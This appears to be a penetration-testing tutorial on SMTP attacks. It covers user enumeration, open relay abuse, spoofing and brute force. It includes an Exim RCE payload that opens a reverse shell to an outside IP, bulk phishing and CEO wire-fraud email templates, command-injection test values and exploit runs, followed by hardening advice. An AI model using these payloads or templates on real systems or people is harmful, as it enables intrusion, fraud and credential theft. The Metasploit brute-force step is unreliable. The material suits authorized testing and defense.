Skip to Content
SMTP service exploitation with user enumeration and email spoofing

SMTP Service Attacks and Exploitation

SMTP exploitation notes covering user enumeration, open relay testing, email spoofing, brute-force authentication and NTLM information disclosure.

Oct 30, 2025
Updated Nov 22, 2026
15 min read

Introduction

The Simple Mail Transfer Protocol (SMTP) is the standard protocol for sending email between mail servers. It runs on TCP ports 25, 465 (SMTP over SSL) and 587 (submission), and has carried email since 1982.

SMTP implementations still have a familiar set of weaknesses:

  • User enumeration, which reveals valid email addresses and usernames
  • Open relay misconfiguration, abused to send spam
  • Weak authentication: plain-text credentials and weak passwords
  • Email spoofing with forged sender addresses, used for phishing
  • Command injection through poorly validated input
  • Information disclosure in banners and error messages

Why SMTP is still a problem

The weaknesses come from the protocol's design and from how it is implemented:

  • The protocol predates authentication and encryption as design requirements.
  • It is plain-text by default, so credentials cross the network unencrypted.
  • It originally assumed a trusted network.
  • It is specified across many RFCs, and implementations follow them inconsistently.
  • Every organization runs mail servers.
  • Email is the main delivery channel for social engineering.
  • Misconfigured servers get abused for spam and phishing campaigns.

What a tester can get out of an SMTP server:

  • User accounts, through password discovery or brute force
  • A list of valid internal usernames
  • Phishing infrastructure, through an open relay
  • Intercepted email, through man-in-the-middle attacks on unencrypted connections
  • Privilege escalation, through vulnerable email clients or server components

Technical background

SMTP protocol overview

SMTP uses a simple command-response model:

Connection flow:

  1. Client opens a TCP connection to server port 25/587/465
  2. Server sends a greeting banner (220 code)
  3. Client sends the HELO/EHLO command
  4. Server responds with capabilities
  5. Client authenticates (if required)
  6. Client sends the mail transaction (MAIL FROM, RCPT TO, DATA)
  7. Server accepts or rejects the message
  8. Connection closes with the QUIT command

SMTP ports

PortPurposeEncryptionCommon use
25SMTPPlain-text (optional STARTTLS)Server-to-server communication
465SMTPS (submissions)Implicit SSL/TLSMail submission over implicit TLS, once deprecated and reinstated by RFC 8314
587SubmissionSTARTTLS requiredClient-to-server mail submission
2525AlternativeSTARTTLS availableAlternative submission port

Core SMTP commands

CommandPurposeExample
HELOIdentify client (simple)HELO mail.example.com
EHLOIdentify client (extended)EHLO mail.example.com
MAIL FROMSpecify senderMAIL FROM:<user@example.com>
RCPT TOSpecify recipientRCPT TO:<target@victim.com>
DATABegin message contentDATA
VRFYVerify email addressVRFY admin
EXPNExpand mailing listEXPN staff
RSETReset transactionRSET
QUITClose connectionQUIT
STARTTLSUpgrade to TLSSTARTTLS
AUTHAuthenticate clientAUTH LOGIN

SMTP response codes

CodeMeaningExplanation
220Service readyServer greeting
221Service closingGoodbye message
250Requested action completedSuccess
354Start mail inputReady for DATA
421Service not availableServer closing connection
450Mailbox unavailableTemporary failure
550Mailbox unavailablePermanent failure
551User not localRelaying denied
552Exceeded storageMailbox full
553Mailbox name invalidBad recipient

Enumeration

Basic banner grab

SMTP Banner Grabbing
# Using Netcat
nc 10.10.11.45 25

# Using Telnet
telnet 10.10.11.45 25

# Using Nmap
nmap -p 25,465,587 -sV 10.10.11.45

# Grab and disconnect
echo "QUIT" | nc 10.10.11.45 25

Example banners:

220 mail.example.com ESMTP Postfix
220 mail.example.com Microsoft ESMTP MAIL Service ready
220 mail.example.com ESMTP Sendmail 8.15.2
220 mail.example.com ESMTP Exim 4.94

Extended SMTP enumeration

# Enumerate SMTP capabilities
nc 10.10.11.45 25
EHLO test.com
QUIT

# Automated with Nmap
nmap -p 25 --script smtp-commands 10.10.11.45
nmap -p 25,465,587 --script smtp-enum-users 10.10.11.45

EHLO response example:

250-mail.example.com Hello test.com
250-SIZE 52428800
250-PIPELINING
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP

Nmap SMTP script scan

# Comprehensive SMTP scan
nmap -p 25,465,587 -sV --script=smtp-* 10.10.11.45

# Specific useful scripts
nmap -p 25 --script smtp-commands 10.10.11.45
nmap -p 25 --script smtp-open-relay 10.10.11.45
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} 10.10.11.45
nmap -p 25 --script smtp-ntlm-info 10.10.11.45

Useful NSE scripts:

  • smtp-commands: List available SMTP commands
  • smtp-enum-users: Enumerate users via VRFY, EXPN, RCPT
  • smtp-open-relay: Test for open relay
  • smtp-ntlm-info: Extract Windows domain information
  • smtp-brute: Brute-force SMTP AUTH
  • smtp-vuln-*: Check for known vulnerabilities

User enumeration techniques

VRFY command

The VRFY command verifies whether a mailbox exists:

SMTP User Enumeration via VRFY
# Manual enumeration
nc 10.10.11.45 25
VRFY root
VRFY admin
VRFY nonexistent

# Example responses
250 2.1.5 root@mail.example.com
550 5.1.1 User unknown

EXPN command

The EXPN command expands mailing lists:

nc 10.10.11.45 25
EXPN staff
EXPN administrators

# Example response
250 2.1.5 <admin@example.com>
250 2.1.5 <manager@example.com>
250 2.1.5 <ceo@example.com>

RCPT TO command

Test recipient validity:

nc 10.10.11.45 25
HELO test.com
MAIL FROM:<test@test.com>
RCPT TO:<root@example.com>

# Valid user: 250 2.1.5 OK
# Invalid user: 550 5.1.1 User unknown

Automated user enumeration

# Using smtp-user-enum
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.10.11.45

# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > run

# Using Nmap
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT},smtp-enum-users.domain=example.com 10.10.11.45

NTLM information disclosure

Extract Windows domain information from an SMTP server that supports NTLM authentication:

# Using Nmap
nmap -p 25,465,587 --script smtp-ntlm-info 10.10.11.45

# Manual extraction
nc 10.10.11.45 25
EHLO test
AUTH NTLM
334
TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# Server responds with NTLM challenge containing domain info

Information leaked:

  • NetBIOS domain name
  • NetBIOS computer name
  • DNS domain name
  • DNS computer name
  • DNS tree name
  • Timestamp

Exploitation techniques

Open relay testing

An open relay lets anyone send email through the server, which makes it useful for spam and phishing.

Manual open relay test

Manual Open Relay Test
nc 10.10.11.45 25
HELO test.com
MAIL FROM:<attacker@external.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test Email
From: attacker@external.com
To: victim@target.com

This is a test email.
.
QUIT

Open relay indicators:

  • 250 OK response to an external RCPT TO
  • Email relayed to an external domain

Automated open relay testing

# Using Nmap
nmap -p 25 --script smtp-open-relay 10.10.11.45

# Using swaks
swaks --to victim@target.com --from attacker@external.com --server 10.10.11.45

# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/smtp/smtp_relay
msf6 auxiliary(scanner/smtp/smtp_relay) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/smtp/smtp_relay) > run

Abuse open relay

# Send phishing email
swaks --to targets@company.com \
      --from ceo@company.com \
      --server 10.10.11.45 \
      --header "Subject: Urgent: Update Your Credentials" \
      --body "Click here: http://evil.com/phish"

# Bulk email campaign
for email in $(cat targets.txt); do
    swaks --to $email --from noreply@company.com --server 10.10.11.45 --body "Phishing message"
    sleep 5
done

Legal warning

Sending unsolicited email or phishing messages through an open relay is illegal. Use this only for authorized penetration testing and defensive security assessment.

Email spoofing

SMTP does not verify the sender, which allows email spoofing:

SMTP Email Spoofing
# Basic spoofing with Netcat
nc 10.10.11.45 25
HELO mail.example.com
MAIL FROM:<ceo@company.com>
RCPT TO:<employee@company.com>
DATA
From: CEO <ceo@company.com>
To: Employee <employee@company.com>
Subject: Urgent Payment Request
Date: Thu, 30 Oct 2025 10:00:00 -0000

Please wire $50,000 to account...
.
QUIT

# Using swaks
swaks --to employee@company.com \
      --from ceo@company.com \
      --server 10.10.11.45 \
      --header "Subject: Wire Transfer Request" \
      --body "Transfer funds immediately..."

# Using sendemail
sendemail -f ceo@company.com \
          -t employee@company.com \
          -u "Urgent Request" \
          -m "Transfer funds..." \
          -s 10.10.11.45

SPF/DKIM/DMARC bypass:

  • Spoof the internal domain if it has no SPF record
  • Use similar-looking domains (typosquatting)
  • Take over a subdomain that has a valid SPF record
  • Send through trusted third-party services

Authentication brute-force

When SMTP AUTH is enabled, test for weak credentials:

# Using Hydra
hydra -l admin@example.com -P /usr/share/wordlists/rockyou.txt smtp://10.10.11.45

# With specific port
hydra -l admin -P passwords.txt -s 587 smtp://10.10.11.45

# Multiple users
hydra -L users.txt -P passwords.txt smtp://10.10.11.45

# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE users.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > run

Command injection

Test for command injection in poorly sanitized SMTP implementations:

# Test in MAIL FROM
MAIL FROM:<user@example.com`whoami`>

# Test in RCPT TO
RCPT TO:<admin@example.com|id>

# Test in message headers
DATA
Subject: Test`id`
From: attacker@test.com
To: victim@example.com
.

Known SMTP vulnerabilities

Sendmail debug mode (CVE-1999-0095)

# Using Metasploit
msfconsole
# The module is the Morris worm exploit and targets 1988-era Sendmail on 4.3BSD
msf6 > use exploit/unix/smtp/morris_sendmail_debug
msf6 exploit(unix/smtp/morris_sendmail_debug) > set RHOSTS 10.10.11.45
msf6 exploit(unix/smtp/morris_sendmail_debug) > exploit

Exim SMTP RCE (CVE-2019-10149)

# Manual exploit
nc 10.10.11.45 25
HELO test
MAIL FROM:<${run{\x2fbin\x2fsh\t-c\t\x22bash\x20-i\x20>%26\x20\x2fdev\x2ftcp\x2f10.10.14.5\x2f4444\x200>%261\x22}}@test.com>
RCPT TO:<root@localhost>
DATA
.
QUIT

Microsoft Exchange SSRF (CVE-2021-26855 - ProxyLogon)

Part of the ProxyLogon vulnerability chain against Microsoft Exchange:

# Using Metasploit
msf6 > use exploit/windows/http/exchange_proxylogon_rce
msf6 exploit(windows/http/exchange_proxylogon_rce) > set RHOSTS 10.10.11.45
msf6 exploit(windows/http/exchange_proxylogon_rce) > set EMAIL administrator@example.com
msf6 exploit(windows/http/exchange_proxylogon_rce) > exploit

Post-exploitation

Email phishing infrastructure

Use a compromised SMTP server for phishing campaigns:

# Create credential harvester
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
./evilginx

# Configure phishing lure
swaks --to employees@company.com \
      --from it-support@company.com \
      --server 10.10.11.45 \
      --header "Subject: Security Update Required" \
      --body "Update your credentials: https://phishing-site.com"

Internal network mapping

Use user enumeration for internal reconnaissance:

# Enumerate all users
for user in $(cat /usr/share/wordlists/metasploit/unix_users.txt); do
    echo "VRFY $user" | nc 10.10.11.45 25 | grep "^250"
done

# Discover naming convention
smtp-user-enum -M VRFY -u admin,administrator,root,sysadmin -t 10.10.11.45

# Build user list for password spraying
./validate_users.sh > valid_users.txt

Email interception

Monitor SMTP traffic for sensitive information:

# Tcpdump on SMTP port
tcpdump -i eth0 -A -s 0 'tcp port 25'

# Wireshark filter
tcp.port == 25 && smtp

# Extract credentials
tcpdump -i eth0 -A -s 0 'tcp port 25 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x41555448)' # AUTH command

Detection and defense

Monitoring SMTP activity

Log analysis:

# Postfix logs
tail -f /var/log/mail.log
grep "authentication failed" /var/log/mail.log

# Sendmail logs
tail -f /var/log/maillog

# Failed authentication attempts
grep "SASL authentication failed" /var/log/mail.log | awk '{print $9}' | sort | uniq -c | sort -n

# Unusual recipient patterns (potential spam)
grep "RCPT TO" /var/log/mail.log | awk '{print $7}' | sort | uniq -c | sort -n

# Monitor for relaying
grep "relay denied" /var/log/mail.log

Hardening SMTP configuration

Disable user enumeration

Postfix (/etc/postfix/main.cf):

disable_vrfy_command = yes
smtpd_banner = $myhostname ESMTP

Sendmail (/etc/mail/sendmail.mc):

define(`confPRIVACY_FLAGS', `goaway,noexpn,novrfy')dnl

Exim (/etc/exim4/exim4.conf.template):

smtp_verify = false
smtp_expn_hosts = localhost

Configure authentication

Postfix SMTP AUTH:

smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname

Prevent open relay

Postfix:

smtpd_recipient_restrictions =
    permit_mynetworks,
    permit_sasl_authenticated,
    reject_unauth_destination
mynetworks = 127.0.0.0/8, 10.10.10.0/24

Sendmail:

FEATURE(`access_db')dnl

Then configure /etc/mail/access:

localhost.localdomain   RELAY
localhost               RELAY
10.10.10               RELAY

Enable TLS/SSL

Postfix:

smtpd_tls_cert_file = /etc/ssl/certs/mail.crt
smtpd_tls_key_file = /etc/ssl/private/mail.key
smtpd_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_mandatory_ciphers = high

Force STARTTLS for submission:

submission inet n       -       y       -       -       smtpd
    -o smtpd_tls_security_level=encrypt
    -o smtpd_sasl_auth_enable=yes

Rate limiting

Postfix:

smtpd_client_connection_rate_limit = 10
smtpd_client_message_rate_limit = 20
smtpd_client_recipient_rate_limit = 50
anvil_rate_time_unit = 60s

Implement SPF, DKIM, DMARC

SPF Record (DNS TXT):

v=spf1 mx ip4:10.10.11.45 -all

DMARC Record (DNS TXT for _dmarc subdomain):

v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:dmarc@example.com; fo=1

DKIM configuration:

# Generate DKIM keys
opendkim-genkey -t -s mail -d example.com

# Add to DNS
# mail._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCS..."

Intrusion detection

# Configure fail2ban for SMTP
# /etc/fail2ban/jail.local
[postfix-sasl]
enabled = true
port = smtp,465,587
filter = postfix-sasl
logpath = /var/log/mail.log
maxretry = 3
bantime = 3600

# Create filter /etc/fail2ban/filter.d/postfix-sasl.conf
[Definition]
failregex = : warning: [-._\w]+\[<HOST>\]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed

# Restart fail2ban
systemctl restart fail2ban

References

MITRE ATT&CK techniques

RFCs and standards

Security resources

Vulnerabilities

Tools documentation

On this page